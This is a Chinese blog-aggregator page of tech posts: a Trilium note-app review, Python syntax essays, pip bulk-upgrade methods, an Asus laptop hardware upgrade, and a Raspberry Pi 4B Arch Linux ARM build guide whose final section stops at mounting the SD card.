标准的标签用于分类,方便在回顾时更方便地找到。例如,在对书籍进行分类的时候,可以像这样添加标签:@dateOfBirth=1921-06-10 。查找的时候也非常方便,点击左上方的放大镜或者使用快捷键ctrl+s ,直接输入标签名字或者指定标签值,相关的笔记就会出现。当然,在Trilium中,标签也被赋予了其他的意义,比如定时任务可以用run标签,排序可以使用sortd 标签,自定义外观时可以用cssClass  和 iconClass 标签。顺便一提,icon库是 boxicons。在 Trilium 中,标签是可以继承的,子笔记继承上一级笔记的标签,要如此,只需勾选 inheritable 栏的选框,同时,子笔记也可以拥有其他属性,且继承不影响它的兄弟姐妹笔记。

<noscript><img alt="标签" height="153" src="https://view.spiritx.xyz/images/2020/06/02/6dfb185782dfea04b33b372d092f6462.png" width="1129" /></a><br /></noscript>

关系

关系其实就是一种链接,用于将不同的笔记链接在一起,之前写到的引用也是一种关系,不过 Trilium 中的关系和其他笔记软件不太一样,除了能表示具体的关系,如之前的家庭关系图:笔记 "Prince Phillip" isPartnerOf 笔记 "Queen Elizabeth II.",此外,它经常与模板结合在一起使用。与继承类似,在使用模板(template )创建子笔记(child:template)、孙笔记(child:child:template)时,创建的笔记会继承模板的属性,同时,创建的笔记会复制模板的内容,之后如果模板的属性更改了,更改会自动应用到所有使用该模板的笔记中。

<noscript><img alt="关系" height="208" src="https://view.spiritx.xyz/images/2020/06/02/afc1f523b2ad13a273fc5e03244a1bf5.png" width="1129" /></a><br /></noscript>

提升属性

提升属性使得标签或者关系更利于管理,它允许直接将相关的属性显示在笔记正文UI上,而不用每次修改或增加属性时都得点击一下show dialog 按钮。要做的这样,只需勾选属性中的 Promoted 项。

<noscript><img alt="提升属性" height="428" src="https://view.spiritx.xyz/images/2020/06/02/d185b44225cc387cbfecce4bb479f874.png" width="1131" /></a><br /></noscript>

内容管理

前面讲述了最重要的关系管理,已经可以看出 Trilium 的强大了,但我要说的是,它的内容管理做的同样出色。

编辑器

Trilium 使用的是CKEditor 5 作为主编辑器,这是一款富文本编辑器。经过这段时间的使用,我觉得这是一款不错的编辑器,不过比起它我更喜欢使用 Editor.md。当然了,作为知识管理工具富文本比纯文本编辑器在某些时候更加方便。CKEditor同时也支持Markdown,这也是我觉得它不错的一个原因,对于我这种Markdwon老手来讲,几乎不会感受到转换的痛苦,不过对于md新手就有点不适了,因为它是所见即所得的md模式,这一点对于新手可能有点不友好。另外,编辑器支持导入导出Markdown,方便迁移其他平台的笔记。CKEditor的确不错,但有两点是我觉得不好的:不支持数学公式和代码高亮,这两个功能应该算是常用功能,但CKEditor没有,只能期待后续的更新了。

媒体和文件

与常规存储方式不同,Trilium 把媒体和文件存储在数据库中,说实话我对这种做法不是很赞同,不过它也有一个显著的好处,那就是不用考虑引用资源的路径问题,还有因为是 sqlite ,所以在不同平台的同步和迁移时比较方便。图片和其他媒体资源可以在笔记里直接嵌入,作为子笔记来管理,同时,Trilium 还支持保存代码文件,可以选择代码语言并且支持高亮,这个功能很赞!

<noscript><img alt="图片存储" height="461" src="https://view.spiritx.xyz/images/2020/06/02/1cc8821b054cb27843f057332d2980da.jpg" width="1200" /></a><br /></noscript>

<noscript><img alt="代码存储" height="600" src="https://view.spiritx.xyz/images/2020/06/02/bc710f22cb8939f7b3091fe970f828fe.png" width="1189" /></a><br /></noscript>

备份和历史版本

历史版本

历史版本是一个我又爱又恨的功能,Trilium 会在设定的时间内自动保存一份当前笔记的快照到数据库,可以在右边栏目中的 Note Revisions 查看,这有效防止了笔记的丢失,不过笔记的历史版本可能会占据较大空间,这也是我恨的地方,关闭又怕丢,不关又一大堆历史版本,所以每次我完成都会删除历史版本。如果要关闭某条笔记的定时快照功能只需在笔记属性里添加 disableVersioning 标签即可。

<noscript><img alt="版本" height="756" src="https://view.spiritx.xyz/images/2020/06/02/454666495b5ba2d27bb72969d4de040a.jpg" width="1126" /></a><br /></noscript>

备份

Trilium支持下面几种备份方案来备份数据库:

  • 一天一次
  • 每周一次
  • 每月一次
  • 在将数据库迁移到较新版本之前

各个操作系统上数据目录的路径如下:

  • Linux: ~/.local/share
  • Windows: %appdata%
  • MacOS: /Users/$(user)/Library/Application Support

恢复备份只需要把当前db文件替换成备份的文件,再重启 Trilium 即可

加密笔记

其实对于一款个人知识库软件来讲,加不加密无所谓,不过老外似乎很在意这方面的问题,所以,加密笔记也下了功夫,主要是以下两点:

  • 根据用户的密码使用加密密钥对笔记进行加密。
    • 这意味着,如果没有密码,加密的笔记是无法解密的,即使有人设法窃取了Trilium 数据库,也无法读取受保护的笔记。
  • 有时间限制地访问受保护的笔记
    • 类似于阅后即焚,不过 Trilium 把 “焚” 换成了加密,如需继续阅读,需要输入密码

需要注意的是:加密的不包括一些元数据比如修改日期、属性等;加密后的笔记其他没有密码的人也可以进行删除操作;搜索结果会自动排除加密的笔记。

模板和插件

日记本

这是我选择Trilium的主要原因,之前用WP写了一段时间的日记,也想过写一套WP主题来作为日记本,不过后来发现wordpress不太适合这项工作。在 Trilium 中,设置 Day Notes 只用将父笔记加上 calendarRoot 标签,需要注意的是,在整个文档树(即整个root目录)中此标签只能出现一次。点击右上方的Today 按钮即可自动新建一则今天的日记,同时,右边的侧栏也会显示一个日历表,点击表中日期即可快速跳到那一天的日记,标有下划线的日期即为今天。

<noscript><img alt="日记本" height="564" src="https://view.spiritx.xyz/images/2020/06/02/073fb5c164c39a988fd2c0fa41e25846.jpg" width="1200" /></a><br /></noscript>
在 Trilium中,日记类型的笔记与文字笔记没什么不同,所以像引用,标签,属性这些东西都完美支持。那么有意思的来了:我可以在日记中记下某个知识,再在其它笔记中直接引用它,或者直接创建一条克隆笔记,效率极其高!如此我便再也不用费心管理日记和笔记之间的关系了。

书单

写读书笔记这件事我从没做过,不过 Trilium 提供了一个很好的思路,写完某一个章节的笔记后可以在父笔记中直接查看(支持折叠),能比较系统的回顾书中内容。另外,我发现在阅读人物关系比较复杂的小说中,结合前文所提到的关系图能比较清晰地梳理人物关系。

<noscript><img alt="书单" height="541" src="https://view.spiritx.xyz/images/2020/06/02/e3923042d307397090aaedd87c0ded4f.jpg" width="1200" /></a><br /></noscript>

其他&自定义

前文所提到的关系图也属于模板之一。另外,Trilium 还有两个完善度较高的模板:Task manager和Weight Tracker,不过这两个我偶尔使用,所以不做过多说明,相比之下,这两个功能手机端使用的多些,而且更方便。

Trilium 中的插件使用js编写,并且原生提供接口供用户使用。接口分为

  • Frontend API,详看:https://zadam.github.io/trilium/frontend_api/FrontendScriptApi.html
  • Backend API,详看:https://zadam.github.io/trilium/backend_api/BackendScriptApi.html

前面说的日记本的 Today 按钮本质也是一个插件,调用的 Frontend API ,同时结合了日记本模板的特性,所以做出了一个新建名字为日期的子笔记,在 Trilium Demo 中有插件的源代码,比较容易理解:

api.addButtonToToolbar({
    title: 'Today',
    icon: 'calendar',
    shortcut: 'alt+t',
    action: async function() {
        const todayNote = await api.getTodayNote();

        await api.waitUntilSynced();

        api.activateNote(todayNote.noteId);
    }
});

官方API文档十分简洁明了,可以直接上手操作,如果要自己编写插件,推荐直接对照着文档开发。

网页剪藏插件

网页剪藏基本是优秀笔记软件的标配,可以这么说,在信息时代,如果一款笔记软件没有这个,那体验肯定是差其他软件一大截的。Trilium 原生支持API,所以有一个配套的 网页剪藏插件

插件可以连接本地的软件或者远程的同步服务器,具有有以下功能:

  • 保存整个页面
  • 截图并保存
  • 选中文字剪藏
  • 选中图片剪藏

插件保存整个页面时,是直接发送当前网页的内容,同时会将图片也一并保存到新的笔记,与 Wallabag 发送链接后台抓取的保存方法有所不同。对于这个功能,我也不太好评价Wallabag与Trilium的好坏,毕竟两个程序的定位不同。另外提一句,新创建的笔记默认放在当日的日记下面,可以将要保存的位置的父笔记加上 clipperInbox 标签,该笔记就会变成剪藏笔记的根目录。同一天在同一个网址剪藏的文字都会放在同一个笔记下。

by Spirit at June 02, 2020 12:38 AM

May 27, 2020

pythoncat

Python 为什么不用分号作终止符?

一般而言,编程语言中使用分号“;”来实现两种目的:
  1. 作为语句分隔符:使用分号来分隔语句(statement),这样就能在一行代码中书写多条语句(一行多句)
  2. 作为语句终止符:使用分号来终止语句,这样就能把多行代码识别为一条语句(一句多行)
单纯看“分隔符”与“终止符”,它们都是必须的,然而是否都要用分号来表示呢?这个问题没有达成一致的标准。
Python 中使用了分号作为语句分隔符,但是不用分号作为终止符, 而是用了换行作为终止符。
若在一句完整的语句末尾加了分号,然后换行,那么 IDE 一般会提示“Trailing semicolon in the statement”,提示着这个“尾随分号”是多余的。
按我粗浅的理解,尾随分号实际会被当成分隔符,只不过它后面是“空语句”,然后是换行(即终止符)。分隔空语句是无必要的,所以尾随分号就成了多余的。
Python 不用分号作为终止符,大概有如下的原因:
  1. 它把缩进和换行当成文法的有效部分,可以表达出完整的语义,不会导致编译时的歧义。这是最主要的原因,是跟“分号党”的根本区别
  2. 不用分号与花括号,但是使用缩进和冒号,这是一脉相承的思路,总体上形成了更高的可读性、简洁性和标准化。这体现了局部语法与整体规则的关系,1 + 1 > 2
  3. 可以少写字符,也避免了在某些键盘上要敲“shift”键的麻烦
  4. 分号主要是给机器看的,但 Python 更注重于人性化。早期硬件有所限制,加分号可以提升解析/编译的速度,但如今障碍已除,某些分号党语言只是在延续 B/C 语言的老传统
  5. 对于需要换行的语句,Python 中使用反斜杠(\)来连接,可以理解成它把换行给转义了,能够解决一句多行的问题
最后,本文完整的思维导图,可在 Python猫 公众号回复”0527”领取。

关联阅读

May 27, 2020 12:00 AM

May 23, 2020

pythoncat

Python 小技巧:如何批量更新已安装的库?

众所周知,升级某个库(假设为 xxx),可以用pip install --upgrade xxx 命令,或者简写成pip install -U xxx
如果有多个库,可以依次写在 xxx 后面,以空格间隔。那么,如何简单优雅地批量更新系统中全部已安装的库呢?
接下来我们直奔主题,带大家学习几种方法/骚操作吧!

方法一:pip list 结合 Linux 命令

pip list 命令可以查询已安装的库,结合 Linux 的一些命令(cut、sed、awk、grep……),可以直接在命令行中实现批量升级。
先查询一下,看看是什么格式的:
可以看到,前两行是一些提示信息,我们需要从第 3 行开始过滤,那就可以使用awk 命令:
python3 -m pip list | awk 'NR>=3{print}' | awk '{print $1}' | xargs python3 -m pip install -U
解释一下这句命令的操作过程:先 list 查询,接着第一个 awk 取出行号大于等于 3 的内容,第二个 awk 取出第一列的内容,然后作为参数传给最后的升级命令。
(PS:测试服务器上有不同版本的 Python,所以作了指定。关于“-m”的用法,推荐阅读:Python 中 -m 的典型用法、原理解析与发展演变
pip 还支持查询已过期的库,即使用pip list --outdated 命令。默认情况下,查询出的格式跟pip list 相似,有效内容从第三行开始,大家可以试试。
另外,我们还可以指定--format=freeze 格式,效果是这样的:
这样的格式,可以用 cut 命令切割“=”号,然后取第一列:
pip list --outdated --format=freeze | cut -d = -f 1 | xargs pip install -U
以上命令在 Windows 系统中用不了。有没有更为通用的方法呢?

方法二:使用 pip freeze

如果是全量升级已安装的库,可以先用pip freeze 命令生成依赖文件,获取到已安装的库及其当前版本号:
pip freeze > requirements.txt
然后修改文件中的“==”为“>=”,接着执行:
pip install -r requirements.txt --upgrade
此方法比较适合于带有依赖文件的具体项目,可以针对该项目来升级所需的库。

方法三:代码中调用 pip 的方法

早期的 pip 库(<10.0.1)提供了 get_installed_distributions() 方法查询已安装的库,可以在代码中使用:
# 只在早期 pip 版本中用
import pip
from subprocess import call

packages = [dist.project_name for dist in pip.get_installed_distributions()]
call("pip install --upgrade " + ' '.join(packages), shell=True)
在较新版本中,此方法已被废弃,同样的功能要这样写:
# 较新的 pip 版本。但不建议使用
from subprocess import call
from pip._internal.utils.misc import get_installed_distributions

for dist in get_installed_distributions():
    call("pip install --upgrade " + dist.project_name, shell=True)
但是,“_internal”带前缀下划线,表明它并不希望被导出使用。

方法四:使用 pkg_resources 库

跟方法二和方法三相似的还有一种方法。
pkg_resourcessetuptools 库的一部分,用于查找和管理 Python 库、版本依赖关系、相关联的资源文件等。可以这样写:
# 需要安装 setuptools
import pkg_resources
from subprocess import call

packages = [dist.project_name for dist in pkg_resources.working_set]
call("pip install --upgrade " + ' '.join(packages), shell=True)

方法五:使用 pip-review 库

pip-review 库是一个专门用来方便升级 Python 库的工具,可以查看已过期的库、自动升级或者交互式选择性地升级:
还有一个类似的pip-upgrader 库,也是为了解决批量升级的问题,感兴趣的同学请自行搜索。

方法六:pip 计划的全量升级命令

pip 官方有计划要提供一个全量升级的(upgrade-all)命令,如果开发出来了,那应该会是最佳选择。
然后,坏消息是这个计划被阻塞了近三年,目前 issue 仍处于 Open 状态,不知道何时能有进展。这里暂且一提吧,未来留意。
前面介绍了六种方法,各有其适用的场景,小伙伴们都学会了么?
除此之外,当然还有其它的方法,比如 stackoverflow 网站上有个“How to upgrade all Python packages with pip?”问题,其下就有比较多的回答。
感谢阅读,如果你喜欢本文,请搜索关注“Python猫”,阅读更多精彩内容!https://mp.weixin.qq.com/s/yOMC1cxcmMDUxYyeB-dtpw

May 23, 2020 12:00 AM

May 21, 2020

anji66

华硕W419L升级教程

   年前给生产部经理的电脑升级以后,分公司总经理觉得挺快,也拿来一台电脑问我可否升级,我答应先拆了看一下。周日把电脑拿到手,一个华硕的W419L的本子,成色还不错,保养的挺好的。开机看了一下,I5的CPU,4G内存,1T硬盘,没有光驱,但是光驱位置却留着的,后盖有个内存仓,不错,起码升级应该是没什么阻碍,果断拆机看了一下,确认没问题后,就跟分公司老总说了一下可以升级。问他是否确定要升,得到明确答复后,就开始动手了。

01.jpg


首先第一步当然是选配件

1、固态用老方案东芝的TR200,毕竟也不是玩游戏的人,240G做两个盘,一个系统一个软件足够了。这个固态前前后后我差不多应该买了十几个了吧。稳定可靠,如有需要的点击这里购买,某东链接某宝链接

2、内存看了下原机器上的是板载内存,这个坑爹的话说,不过好歹还给留了个内存扩展仓,板载内存一般都是低电压版,这个年龄的电脑DDR3没跑,确认了一下参数,选三星的吧,上次给生产部经理买的也是三星的,还不错吧。有同样需求的可以点击这里购买,某东地址某宝地址

3、原光驱位装了一个空支架,拆下来一看,不太好,里面做塑料格片。如果是我自己的话,我就动手在这个基础上划了,再买个转接头,用热熔胶点上就完事。这个还是买个现成的支架吧,万能淘宝一搜一大把,我买的这个,链接地址。当然如果你在原支架上挖孔装转接器也可以的,转接器链接

等快递到货,这就是全家福了。

07.jpg


先拆底板螺丝和内存仓

底板螺丝都是裸露的,不像我那个N53S还藏在脚垫底下。拆的时候留意一下,这螺丝又长又短,而且还没标型号,自己记得对位置,其实没记也没关系,估的出来。内存仓的螺丝上面有个小装饰片,先扣下来,螺丝就出来了。如图。

02.jpg


撬开C盖,拆除键盘和触摸板的排线。

底板螺丝拆完,随便找个角落用撬棒直接撬吧,这比那联想的好撬多了,很容易撬开,撬开以后不要拆D盖,主板都固定在D盖上,而是翻上来拆C盖,然后掀起一部分就能看到两根排线了。这两个排线很简单,把黑色的向上扣起就行了,排线就去了下来。

03.jpg04.jpg05.jpg


取下原伪光驱支架,安装固态硬盘

取光驱支架很简单,一个固定螺丝拧掉一个,横向一抽就出来了。然后把固态硬盘装到买的专用支架上,固态和支架的插口地方记得插牢固。然后在支架背面把四颗螺丝拧上。然后把支架横向插入原光驱位。拧好螺丝,留意下支架位置两侧的塑料卡扣,让支架很好的固定。看图中部分。

08.jpg11.jpg


安装扩展的内存

内存只要斜着插入内存插槽,然后往下按固定到位即可。一步到位。装完就手装上内存仓的盖子,并拧好螺丝,贴上那个小装饰片。当然那小玩意要不要无所谓。

06.jpg10.jpg


最后还原C盖,卡好卡扣,四周都按一下,全部卡到位,拧上D盖上所有螺丝就大功告成了。


by 西枫里 at May 21, 2020 02:03 PM

May 10, 2020

pythoncat

Python 为什么使用缩进来划分代码块?

Python 为什么使用缩进来划分代码块,而不像其它语言使用花括号 {} 或者 “end” 之类的语法?
Python 的缩进是一个老生常谈的话题,经常有人会提及它,比如 Python 之父 2020 年 4 月曾在 Twitter 上转发过一篇文章《Python: Myths about Indentation》 讨论这个话题。
因为这篇文章,Guido 还受邀在 Python Bytes 播客上录制了一期节目:179: Guido van Rossum drops in on Python Bytes
可在 Youtube 上观看播客节目的视频版
那么,Python 为什么要用缩进来划分代码块呢?
我收集梳理了几份材料,接下来将带大家一起揭晓 Python 这么做的设计原因:
  1. 缩进语法,更加优雅
  2. 缩进语法,更加清晰
  3. 使用缩进,保持一致性,避免造成误读
  4. 使用缩进,代码更紧凑,便于浏览,没有累赘
  5. 使用缩进,已足够令解释器执行,没必要使用多余的符号
  6. 强制缩进,源自古老的 ABC 语言,Guido 是这门语言的设计者之一
  7. 其思想可能出自 Don Knuth(高德纳,著名计算机科学家,经典巨著《计算机程序设计艺术》的作者),他在 1974 年提出,在当时是很时髦和前卫的思想
  8. 使用缩进,可以终结大括号放在函数名后面还是再换一行的终极争论(据说此话题能令不同派系的程序员大打出手!)
以上罗列的原因主要来源于 Python 官方文档对缩进的解释官方早期 wiki 的解释
以及 Python 之父的早期访谈:

问:为什么你在设计 Python 语言的时候采用了强制缩进的方式来划分程序域?

答:这种强制缩进,并不是什么新概念。当年我在 CWI 使用 ABC 语言编程的时候,人家就这么干的。我从 ABC 语言中继承了这个概念。不过 occam 这种很古老的语言也是用了这种方式,我不知道他们是谁先采用的,也许都是独创。这种思想也可能出自 Don Knuth(高德纳,著名计算机科学家,经典巨著《计算机程序设计艺术》的作者),他早在 1974 年就提出过这种做法。

总而言之,Python 使用缩进语法,体现了它非常优雅、清晰的设计美学,对开发者、读者以及解释器,都极为友好。
实话说,我本人非常赞许 Python 的缩进,因此才第一眼就迷上了它,如果是使用了花括号之类的语法,那 Python 就顿时黯淡,也就食之无味了!

附注1:《Python 的缩进是不是反人类的设计?》

我在中文的技术圈里发了文章后,收到了大量的反对意见,这非常出乎意料,因此又写了下面这篇文章作进一步解释。
前些天,我写了《Python为什么使用缩进来划分代码块?》,文中详细梳理了 Python 采用缩进语法的 8 大原因。我极其喜欢这种简洁优雅的风格,所以对它赞美有加。
然而文章发出去后,非常意外,竟收到了大量的反对意见!!(以往文章的互动不多,此次创下了记录)
我就不截图了,先摘录几则最刺眼的评论:

最大的缺陷就是这个缩进机制

去掉花括号是最愚蠢的设计

绝对是过度设计了,缺陷很大

最大的缺点就是缩进,太反人类了

……

对于这一类的评论,我认为他们是“睁着眼睛说瞎话”,颠倒是非黑白。Python 的缩进语法如此简洁好用,怎么就“过度设计/愚蠢/缺陷/反人类”了?
常言道众口难调,有人爱甜粽子有人爱咸粽子,但是对于咸甜味道,大家是有所共识的,不至于感官紊乱,大放厥词。
还有比较多的评论,认为缩进容易造成混乱:

代码多了,自己看着累,别人更难懂

眼花了,还是括号好些

还是{}或end更清晰

没有花括号老觉得没有安全感

缩进层次看不清楚

没有大括号不便于阅读

层次一多看起来很乱,不知哪层是哪层,要缩多少。到底退出循环没有。

看着明明缩进是对的,但运行时总是报错

用python写上十万行试试,到时候你就知道,什么叫混乱看不下去

……

现在主流的 IDE 工具都很强大,应该善于使用其基本功能,例如:设置显示空格字符、设置 tab 自动转化为空格、设置 tab 键为 4 个空格……同一层级的缩进还会有浅浅的竖线,在视觉上辅助阅读。
至于说层次过多、代码很长的情况,这本身就是一种代码坏味道!当出现过长的函数或者类时,优秀的程序员 第一时间该考虑的就是重构。推荐一本书《重构:改善既有代码的设计》,里面有正道的价值观和详尽的方法论。
还有说点击右括号,可以看到匹配的左括号,会清晰。有这东西确实不错,但没有,我并不诉求。本身紧凑简洁的代码,缩进阅读会很快。
除了以上两大类的评论,我还收到以下几种比较有代表性的评论:
  • 有人说“取消花括号会大大降低运行速度”、“这个特性鲁棒性太低了”。——这纯粹是臆想,让他们给出论证和例子,无果。别以为在哪里看到有人说 Python 慢,就想当然把锅扣到缩进的头上。
  • 有人说“多人协同编辑时,有人用tab,有人用空格”。——我说开发团队应该统一规范,然后用 autopep8 之类的辅助工具。他说规范要不停花精力维护,要花成本。拜托!这年头还有人不重视代码规范,直接开除“猿籍”。
  • 有人说“缩进没办法自动格式化代码”。——这在复制移动代码,或者要改变代码层级时,有此诉求。我一直用比较笨的方法调节(tab、shift+tab、加减空格),确实是比较笨,但是会比较有把握。刚在 PyCharm 里研究了一下,我发现它是支持自动格式化的,只是有个小小的问题要注意!
关于缩进的自动格式化,这里有两个例子,给大家演示一下:
上述例子,删除掉那行 if 条件语句,然后直接”ctrl+alt+l“作全局格式化,格式会出错。我们希望两句 print 向左缩进 4 格,但是 return 那句也会向左缩进。
在删除 if 那行后,如果我们只选中两行 print,作局部”ctrl+alt+l“格式化,那只有这两行会缩进,就没问题。
再看第二个例子,我们复制了一段新代码,但是它的缩进不对:
这时候,若直接“ctrl+alt+l”全局格式化,或者选中那三行再格式化,结果都不对!原因是第二个 if 的缩进格数小于 4 个,所以 PyCharm 认为它属于一级缩进(即不该有空格),所以自动格式化时就把它左移了。
如果选中它们,先按 tab 键右移(即新代码变成缩进大于 4 格,小于 8 格):
此时再作格式化的话,它们的缩进就跟第一层的 if 一致了(两层 if 是兄弟关系)。
同理,如果你想把新代码缩进到第一层 if 的内部(变为父子关系),那只需选中上图三行代码再 tab 键右移 4 格,之后格式化就可以了!
建议大家在编辑器里实操一下。等空了我会录制一期小视频(B 站搜“Python猫”),敬请留意。
除了上面的评论/观点之外,我们在微信交流群里也讨论了这个话题。@樱雨楼(https://github.com/yingyulou) 小姐姐的观点对我挺有启发。
群聊截图已记录在此,其中她提到了编程语言在设计上的“比较抽象和哲学”的两点:
  • 缩进使得代码失去了形式语言里所谓的“上下文无关文法”,从而使得空格+数量的组合变得不再是可有可无的。
  • block 作为一个“语法组分”,需要一个定界符,而空格一般不作为语法组分,所以就觉得少了些什么。
三言两语没法转述清楚,但她谈论缩进话题的视角确实令人耳目一新!
上次的文章发出后,也有不少小伙伴表示很喜欢 Python 的缩进。我本以为会听到很多这类的声音,没想到却是负面的评论更多。(也许更多认同的声音没有表现出来)
本文对几类典型的评论作出了回应,再次表达了我在这个话题上的关注和理解(以及情绪的抒发),希望也能给读者们带来一些思考和收获吧。

附注2:CSDN 专访 Guido

2022 年 9 月,CSDN 的《程序员》杂志专访 Guido,又谈到了缩进话题。谈话内容节选:
邹欣:大家刚接触 Python 这门语言时都会好奇的就是强制的代码缩进。如果重来一次,你是否会放弃缩进这个强制要求?
Guido:代码缩进(Indentation)其实并不是我发明的,当时的同事给了我启发。在 Python 中要求进行代码缩进的原因是 30 年前的代码编辑器都不能很好地对代码进行缩进排版,所以我就想鼓励程序员自己来对代码进行正确的排版,从而确保程序员从视觉上对代码的理解与编译器对代码的解析是一致的。这其实非常重要,几年前苹果公司就发生过一次非常严重的代码安全漏洞事故,就是由于代码中一个语句与程序员实际设想的 if-else 语法逻辑没有匹配而引起的,如图 1 。其实,严格要求代码缩进确实有点夸张,改用花括号,也不是不可以。
图1:Apple的SSL/TLS错误

附注3:Python 缩进语法的起源:上世纪 60-70 年代的大胆创意

2022 年 11 月,Guido 在 CWI 时的导师写了一篇《The Origins of Python》,其中谈到了缩进语法的起源问题,因此,我继续挖掘了 Python 缩进语法的设计思想。

May 10, 2020 12:00 AM

May 09, 2020

spiritx

树莓派4B开箱及archlinuxarm环境配置


买了一块树莓派3B+,一年的使用下来,虽然不怎么吃灰,但使用却逐渐偏离了GPIO的主题。果然印证了那句“买前IoT,买后路由器” :笑哭: 。最近觉得作为软路由来使树莓派3B+的性能已经达不到我的要求了,加上眼馋树莓派4很久了,于是入手了一个树莓派4B 4G版。为什么不买矿难板子或者其他派?作为一个学生党,我不得不考虑功耗和便携性,再加上树莓派相关生态的完善,我选择了这块作为软路由看起来性价比不算最佳的机器。至于NUC,没钱警告 :耐克嘴: 。话不多说,先上图

开箱

树莓派4代的更换了包装,大小和33代一样,不过外观改变了,讲道理,我觉得3代的盒子更好看一些

<noscript><img alt="P00508 112607" height="2256" src="https://view.spiritx.xyz/images/2020/05/09/P00508-112607.jpg" width="4000" /></a><br /></noscript>
树莓派4B主板目前有两个版本 Rev 1.1 和改进版 Rev 1.2 ,新版改进了电源部分电路,对pd2.0充电头兼容性更佳。但价格是一样的。幸运的是,我买到的是 Rev 1.2 版本的,如下图我画出的红色框所示,多了个电源管理模块。

<noscript><img alt="1588865438551" height="2256" src="https://view.spiritx.xyz/images/2020/05/08/1588865438551.jpg" width="4000" /></a><br /></noscript>
来几张3B+和4B的外观主要区别对比图,上为3B+,下为4B

<noscript><img alt="P00505 154326" height="2256" src="https://view.spiritx.xyz/images/2020/05/09/P00505-154326.jpg" width="4000" /></a><br /></noscript>
3B+和4B主要是HDMI接口换为了2个micro HDMI,网口和USB接口位置对调了

<noscript><img alt="P00505 153834" height="2256" src="https://view.spiritx.xyz/images/2020/05/09/P00505-153834.jpg" width="4000" /></a><br /></noscript>

<noscript><img alt="P00505 155516" height="2256" src="https://view.spiritx.xyz/images/2020/05/09/P00505-155516.jpg" width="4000" /></a><br /></noscript>

<noscript><img alt="P00505 153841" height="2256" src="https://view.spiritx.xyz/images/2020/05/09/P00505-153841.jpg" width="4000" /></a><br /></noscript>我的3B+亚克力板子那一面翻过来刚好可以用 :掩面笑: ,3B+的两个 USB 2.0 接口换为了 USB 3.0

<noscript><img alt="P00505 155525" height="2256" src="https://view.spiritx.xyz/images/2020/05/09/P00505-155525.jpg" width="4000" /></a><br /></noscript>
性能方面,我使用了archlinuxarm的32位和64位系统,当然我没安装图形界面,体验下来感觉就是一个词:流畅,值得一提的是树莓派4B支持4K 60HZ/4K 30HZ×2 输出,用作流媒体挺好,性能方面我是十分满意的,就是这功耗不敢恭维,低负载加上风扇的情况下,CPU 的温度一直保持在 50+ ℃ :受虐滑稽: ,后面我会加几个散热片,顺便换个外壳。对了,还有一件事就是电源问题,必须保证在 5V 2.5A 以上(官方推荐是5V 3A),不然系统会运行不正常。

ArchLinux ARM安装

之前用3B+的时候就用的archlinuxarm的aarch64版本,所以直接下载安装了,等我插上卡通电后才发现不对劲,原来archarm目前的包也是32位的......浪费了我好多时间。

PS:如果选择自编译64位系统需要主机环境为Arch Linux

32位

参照 https://archlinuxarm.org/platforms/armv8/broadcom/raspberry-pi-4 ,安装的过程和 3B+的安装 一样。

64位

raspberrypi官方的64位os还处于beta阶段,所以安装32位比较方便,但我3B+都用了aarch64了,4B再不上64位就说不过去了。
64位的系统就需要自己动手啦,不过我也找到了有人 打包好的 ,可以直接刷入,步骤和 之前 一样。需要注意的有:

  • 需要自定义DNS,使用nano(因为没有自带vi)编辑 /etc/resolv.conf,加一行 nameserver 8.8.8.8
  • 需要安装dhcp(pacman -S dhcp)或者自定义IP以正常使用网络
  • 需要自己打开时间同步 timedatectl set-ntp true ,不然每次重启时间会归位

如果对安全性有要求的话还是建议按照如下步骤自己打包:

下载rootfs

ArchLinuxARM 官网 上下载 多平台镜像 http://os.archlinuxarm.org/os/ArchLinuxARM-aarch64-latest.tar.gz ,注意下载后校验文件。
进入到工作文件夹,新建 rootboot 文件夹
解压备用:bsdtar -xpf ArchLinuxARM-aarch64-latest.tar.gz -C root

配置虚拟容器

## 先安装静态库
 ~/w/r/pi  yay -S qemu-arm-static
## 进入容器
 ~/w/r/pi  systemd-nspawn -D root
 ## 显示进入容器了
[root@root ~]# 

不知道为什么,DNS一直不能用,于是我直接修改的hosts

## 根据自己的需要换源
[root@root ~]# vi /etc/pacman.d/mirrorlist
Server = http://mirrors.tuna.tsinghua.edu.cn/archlinuxarm/$arch/$repo
[root@root ~]# vi /etc/hosts
101.6.8.193 mirrors.tuna.tsinghua.edu.cn

先安装依赖

[root@root ~]# pacman-key --init
[root@root ~]# pacman-key --populate archlinuxarm
[root@root ~]# pacman -Syy
[root@root ~]# pacman -S base-devel fakeroot libffi xmlto docbook-xsl inetutils bc

编译kernel

## 下载 PKGBUILD
 ~/w/r/pi  git clone https://github.com/esotericnonsense/linux-raspberrypi4-aarch64.git boot/home/alarm/
## 进入容器
 ~/w/r/linux-raspberrypi4-aarch64   master ±  systemd-nspawn -D root
## 修改编译的cpu核心数,我改成8核了,根据自己的电脑配置修改
[root@root ~]# vi /etc/makepkg.conf
MAKEFLAGS="-j8"
## 切换为普通用户
[root@root ~]# su alarm
[alarm@root root]$ cd ~/linux-raspberrypi4-aarch64/
## 编译
[alarm@root linux-raspberrypi4-aarch64]$ makepkg -si

需要注意的是,这里编译的是 https://github.com/raspberrypi/linux 4.19 分支提交的内核,PKGBUILD 的版本是 commit edc6ef437bd690772d7a562adeea6c85daf11440 ,版本是4.19.89。

当然也可以选择其他版本,我选择的是 5.2分支 的版本。 只需要修改 PKGBUILD 中的 _commit 为最新commit-id,pkgver 为5.2就行了。考虑到网络环境的问题,我选择提前下载内核文件:https://github.com/raspberrypi/linux/archive/commitid.tar.gz ,下载后修改文件名为 commit-id.tar.gz,之后编译时跳过检验就好了:makepkg --skipinteg,编译时间很长,在我的低压U本子8核全满上跑了近4小时,感觉这个改不改核心影响不大,因为我之后在树莓派上常规编译跑了5个小时。

## 切换回普通用户
[alarm@root linux-raspberrypi4-aarch64]$ exit
[root@root ~]#  cd /home/alarm/linux-raspberrypi4-aarch64/
## 安装编译好的内核文件
[root@root linux-raspberrypi4-aarch64]#  pacman -U linux-raspberrypi4-aarch64-headers-5.2-1-aarch64.pkg.tar.xz linux-raspberrypi4-aarch64-5.2-1-aarch64.pkg.tar.xz

安装依赖

[root@root ~]# pacman -S pacman-contrib  # for pactree
[root@root ~]# pacman -Sw $(pacman -Qqn)
[root@root ~]# pactree -l pacman | pacman -S -
[root@root ~]# pacman -Qqn | pacman -S -

安装系统

先按照 步骤 进行分区,然后就可以把配置好的系统打包到 SD 卡了,我使用的是rasyc,当然也可以使用dd。

  ~/w/r/pi  sudo mount /dev/sdd2 boot 
  ~/w/r/pi  sudo mkdir -p boot/boot 
  ~/w/r/pi  sudo mount /dev/sdd1 boot/boot
